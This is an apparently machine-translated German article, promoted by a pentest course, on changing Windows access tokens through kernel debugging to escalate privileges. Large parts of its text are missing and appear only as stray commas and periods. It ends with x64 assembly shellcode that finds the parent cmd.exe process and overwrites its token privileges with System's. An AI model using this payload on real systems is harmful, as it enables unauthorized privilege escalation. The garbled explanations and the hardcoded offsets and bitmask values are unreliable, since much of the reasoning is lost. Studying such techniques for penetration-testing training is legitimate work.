Windows-Token

Der OTUS-Experte Alexander Kolesnikov teilte uns einen nützlichen Artikel mit, den er speziell für Studenten des Pentest schrieb. Penetrationstestpraxis .









Wir laden wiederum alle ein, an einer kostenlosen Demo-Lektion zum Thema "Windows AD-Informationssammlung, Eskalation von Berechtigungen. Exploits und Schwachstellen der letzten 5 Jahre" teilzunehmen .









Im vorherigen Artikel wurde erläutert, wie Exploits die Token-Kopiertechnik verwenden, um Berechtigungen zu eskalieren. In diesem Artikel werden wir versuchen, eine andere Technik zum Ändern von Token in Betracht zu ziehen und herauszufinden, wie die im primären Token platzierten Berechtigungen festgelegt werden.





Alle Beispiele in diesem Artikel dienen nur zu Informationszwecken. Wenn Sie die Experimente wiederholen möchten, verwenden Sie eine virtuelle Maschine, da einige der Aktionen Ihre Arbeitsmaschine beschädigen können. Alle Experimente werden nur zu Forschungszwecken durchgeführt.





Prüfstandsaufbau

Für Experimente eignen sich einige virtuelle Maschinen, die über ein NAT-Netzwerk arbeiten. Zwei, weil es keine andere Möglichkeit gibt, das Betriebssystem zu debuggen. Und NAT-Netzwerk, so dass es Debug-Symbole gibt, ist es einfacher und schneller, nach Daten ohne Quellcode mit ihnen zu suchen. Die Debugger-Einstellung ist im Internet verfügbar, aber unten werden noch einige Zeilen angezeigt, wie dies für das Betriebssystem Windows 10 1909 der Fall ist.





1. Installieren Sie den Debugger. Für das Windows-Betriebssystem gibt es nur Windbg Preview. Installieren Sie es:





2. Wir übertragen das Zielbetriebssystem in den Debug-Modus:





Wir starten das System neu. Öffnen Sie den zweiten Computer, der den Debugger enthält:





Nach dem Neustart des Systems:





Windbg Preview , . . .





Token

, , , Primary Token. , Se* . , , :





  • SeAssignPrimaryToken





  • SeAudit





  • SeBackup





  • SeChangeNotify





  • SeCreateToken





  • SeDebug





  • SeLoadDriver





  • SeLockMemory





  • SeManageVolume





  • SeRestore





  • SeSecurity





  • SeTakeOwnership





, , . , “Security Descriptor”:





System. — dx @$cursession.Processes[4].KernelObject.Token







EXFAST_REF , , :





System:





, “Security Descriptor” , . :





, , :





- , BSOD. Windows , Windows 10 1607. , BSOD, “Security Descriptor” . , :





BSOD? , . , :





1. , :





2. cmd.exe



:





3. . :





, . - , - Integrity Levels , .





? . , : 0x1







BSOD , , . , , . , - — 0x100000







:





  • SeDebugPrivilege - 0x100000





  • SeAuditPrivilege - 0x200000





  • SeSystemEnvironmentPrivilege - 0x400000





  • SeCreatePermanentPrivilege - 0x010000





  • SeSystemtimePrivilege - 0x001000





  • SeSecurityPrivilege - 0x000100





  • SeLockMemoryPrivilege - 0x000010





, 6 . , , shellcode, , , . SEPTOKEN_PRIVILEGES _SEPTOKENPRIVILEGES+0x8.





— System , , .





netstat -ab



, . ? . , Windows , System , :





, , payload :





[BITS 64]

start:
mov r9, [gs:0x188]                ;KPROCESS/currentThread
mov r9, [r9+0x220]                ;EPROCESS   KTHREAD
mov r8, [r9+0x3e8]                ;InheritedFromUniqueProcessId (cmd.exe PID)
mov rax, r9                           
loop1:
  mov rax, [rax + 0x2f0]       
  sub rax, 0x2f0                    ;KPROCESS
  cmp [rax + 0x2e8],r8              ; ProcessId
  jne loop1                         	  
mov rcx, rax                        ;   PID EPROCESS
add rcx, 0x360                        
mov rax, [rcx]                           
and rax, 0xFFFFFFFFFFFFFFF0
mov r8,  0x1e73deff20               ;System  
mov [rax+0x48],r8                   ; 
ret
      
      




". ".



"Windows AD , . 5 ."













All Articles